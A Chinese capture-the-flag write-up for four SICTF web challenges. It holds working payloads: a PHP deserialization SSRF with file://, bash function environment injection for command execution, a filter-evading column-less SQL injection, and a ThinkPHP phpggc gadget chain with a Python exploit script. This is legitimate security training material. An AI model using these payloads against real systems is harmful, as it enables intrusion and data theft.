Web EZ_SSRF 题目描述: flag位于/flag
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php highlight_file (__file__);error_reporting (0 );function get ($url ) { $curl = curl_init (); curl_setopt ($curl , CURLOPT_URL, $url ); curl_setopt ($curl , CURLOPT_HEADER, 0 ); curl_setopt ($curl , CURLOPT_RETURNTRANSFER, true ); $data = curl_exec ($curl ); curl_close ($curl ); echo base64_encode ($data ); return $data ; } class client { public $url ; public $payload ; public function __construct ( ) { $url = "http://127.0.0.1/" ; $payload = "system(\"cat /flag\");" ; echo "Exploit" ; } public function __destruct ( ) { get ($this ->url); } } if (isset ($_GET ['Harder' ])) { unserialize ($_GET ['Harder' ]); } else { echo "You don't know how to pass parameters?" ; } ?>
补充:
CURLOPT_HEADER 启动时会将头文件的信息作为数据流输出.
CURLOPT_RETURNTRANSFER true将curl_exec()获取的信息以字符串返回,而不是直接输出.
CURLOPT_URL 需要获取的URL地址,也可以在curl_init()初始化会话的时候. dirsearch扫描一下发现: 那就直接读取flag.php文件,构造payload:
1 O:6:"client":2:s:{3:"url";s:29:"file:///var/www/html/flag.php";s:7:"payload";N;}
base64解码得到flag: SICTF{4315d9b2-8db9-40a1-8583-a4d49cd62f62}
Not just unserialize 题目描述: 看似平平无奇的反序列化题,出题人却在dockerfile里添加了这样一行奇怪命令:RUN ln -sf /bin/bash /bin/sh…
在某大佬的博客看到对这个题目描述的解释:
1 2 在php中 system()函数调用/bin/sh来执行参数指定的命令,而这个命令的作用是将系统默认的shell解释器从”/bin/sh”更改为”/bin/bash”。所以最后调用的system是bash环境,这样我们可以这样用: env $'BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello'
题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 <?php highlight_file (__FILE__ );class start { public $welcome ; public $you ; public function __destruct ( ) { $this ->begin0fweb (); } public function begin0fweb ( ) { $p ='hacker!' ; $this ->welcome->you = $p ; } } class SE { public $year ; public function __set ($name , $value ) { echo ' Welcome to new year! ' ; echo ($this ->year); } } class CR { public $last ; public $newyear ; public function __tostring ( ) { if (is_array ($this ->newyear)) { echo 'nonono' ; return false ; } if (!preg_match ('/worries/i' ,$this ->newyear)) { echo "empty it!" ; return 0 ; } if (preg_match ('/^.*(worries).*$/' ,$this ->newyear)) { echo 'Don\'t be worry' ; } else { echo 'Worries doesn\'t exists in the new year ' ; empty ($this ->last->worries); } return false ; } } class ET { public function __isset ($name ) { foreach ($_GET ['get' ] as $inject => $rce ){ putenv ("{$inject} ={$rce} " ); } system ("echo \"Haven't you get the secret?\"" ); } } if (isset ($_REQUEST ['go' ])){ unserialize (base64_decode ($_REQUEST ['go' ])); }
这题卡在了环境变量注入,参考文章:https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html
最终payload:
1 go=Tzo1OiJzdGFydCI6Mjp7czo3OiJ3ZWxjb21lIjtPOjI6IlNFIjoxOntzOjQ6InllYXIiO086MjoiQ1IiOjI6e3M6NDoibGFzdCI7TzoyOiJFVCI6MDp7fXM6NzoibmV3eWVhciI7czo4OiIKd29ycmllcyI7fX1zOjM6InlvdSI7Tjt9&&get[BASH_FUNC_echo%%]=() { cat /f*; }
hacker 这题禁用了: order and or like 空格 + ;
注释说flag在flag表里,考察无列名注入(不需要列名就能得到数据)。 构造paload:
1 username=joe%27union/**/select/**/b/**/from/**/(select/**/1,2/**/as/**/b/**/union/**/select/**/*/**/from/**/flag)a%23
注意:这里注释符#需要进行url编码成%23。 得到flag: SICTF{aa01372f-0419-4a63-b372-4d19a6596c18}
Oyst3rPHP dirsearch扫描一下目录发现www.zip泄露,打开index.php文件得到源码 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php ... public function index ( ) { echo "RT,一个很简单的Web,给大家送一点分,再送三只生蚝,过年一起吃生蚝哈" ; echo "<img src='../Oyster.png'" ."/>" ; $payload = base64_decode (@$_POST ['payload' ]); $right = @$_GET ['left' ]; $left = @$_GET ['right' ]; $key = (string )@$_POST ['key' ]; if ($right !== $left && md5 ($right ) == md5 ($left )){ echo "Congratulations on getting your first oyster" ; echo "<img src='../Oyster1.png'" ."/>" ; if (preg_match ('/.+?THINKPHP/is' , $key )){ die ("Oysters don't want you to eat" ); } if (stripos ($key , '603THINKPHP' ) === false ){ die ("!!!Oysters don't want you to eat!!!" ); } echo "WOW!!!Congratulations on getting your second oyster" ; echo "<img src='../Oyster2.png'" ."/>" ; @unserialize ($payload ); } } ...
第一层md5绕过(用数组绕过好像会报错),可以用0e绕过。常规的0e绕过:
1 2 3 4 5 6 QNKCDZO 240610708 s878926199a s155964671a s214587387a s214587387a
这些字符串的 md5 值都是 0e 开头,在 php 弱类型比较中判断为相等。 第二层需要用正则回溯来绕过,正则回溯原理:
1 2 3 1.大量的回溯会长时间地占用CPU,从而带来系统性的开销。PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。 2.我们可以通过var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限,最大回溯次数默认为1000000次,如果超过一百万次preg_match函数返回的既不是1也不是0,而是false表示此次执行失败。
在这里还学会了用一款工具: phpggc 这里写一下它的介绍:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 PHPGGC: PHPGGC 是一个 unserialize() 有效负载库,以及从命令行或编程方式生成它们的工具。 当您在没有代码的网站上遇到反序列化时,或者只是在尝试构建漏洞时,此工具允许您生成有效负载,而无需经历查找小工具并组合它们的繁琐步骤。它可以被视为相当于frohoff的ysoserial,但对于PHP。 目前,该工具支持小工具链,例如:CodeIgniter4,Doctrine,Drupal7,Guzzle,Laravel,Magento,Monolog,Phalcon,Podio,Slim,SwiftMailer,Symfony,Wordpress,Yii和ZendFramework。 以上是官网对它的描述 为什么要用这个工具?一句话因为框架类的反序列化漏洞利用太过于复杂,用这个可以一键生成,就这么简单。 那就要明白一件事,这个工具是针对于那些框架、组件来生成payload的,而不是原生类的,比如说很多CTF的题目,别人自己出的那种不涉及框架的代码,用这个工具是生成不出来的 用的时候只需要知道目标的版本是否在漏洞版本区间然后用命令生成payload. 使用方法: 通过./phpggc 组件名 -i 可以显示与组建相关的信息,其中就包括了具体生成攻击payload所需要的参数
flag在/Oyst3333333r.php下, 直接用phpggc拿出链子:
最终exp:
1 2 3 4 5 6 7 8 import requestsurl = "http://yuanshen.life:39912/?left=QNKCDZO&&right=s878926199a" data = { 'key' : 'h' *1000000 +"603THINKPHP" , 'payload' : 'TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjc6e3M6MjE6IgB0aGlua1xNb2RlbABsYXp5U2F2ZSI7YjoxO3M6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NToiSmF5MTciO3M6MjE6ImNhdCAvT3lzdDMzMzMzMzNyLnBocCI7fXM6MTI6IgAqAHdpdGhFdmVudCI7YjowO3M6MTk6IgB0aGlua1xNb2RlbABleGlzdHMiO2I6MTtzOjE4OiIAdGhpbmtcTW9kZWwAZm9yY2UiO2I6MTtzOjg6IgAqAHRhYmxlIjtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Nzp7czoyMToiAHRoaW5rXE1vZGVsAGxhenlTYXZlIjtiOjE7czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo1OiJKYXkxNyI7czoyMToiY2F0IC9PeXN0MzMzMzMzM3IucGhwIjt9czoxMjoiACoAd2l0aEV2ZW50IjtiOjA7czoxOToiAHRoaW5rXE1vZGVsAGV4aXN0cyI7YjoxO3M6MTg6IgB0aGlua1xNb2RlbABmb3JjZSI7YjoxO3M6ODoiACoAdGFibGUiO3M6MDoiIjtzOjIxOiIAdGhpbmtcTW9kZWwAd2l0aEF0dHIiO2E6MTp7czo1OiJKYXkxNyI7czo2OiJzeXN0ZW0iO319czoyMToiAHRoaW5rXE1vZGVsAHdpdGhBdHRyIjthOjE6e3M6NToiSmF5MTciO3M6Njoic3lzdGVtIjt9fQ==' } res = requests.post(url,data=data) print (res.text);
拿到flag: SICTF{4132f909-2e0c-457b-94c0-bbd536f0ea02}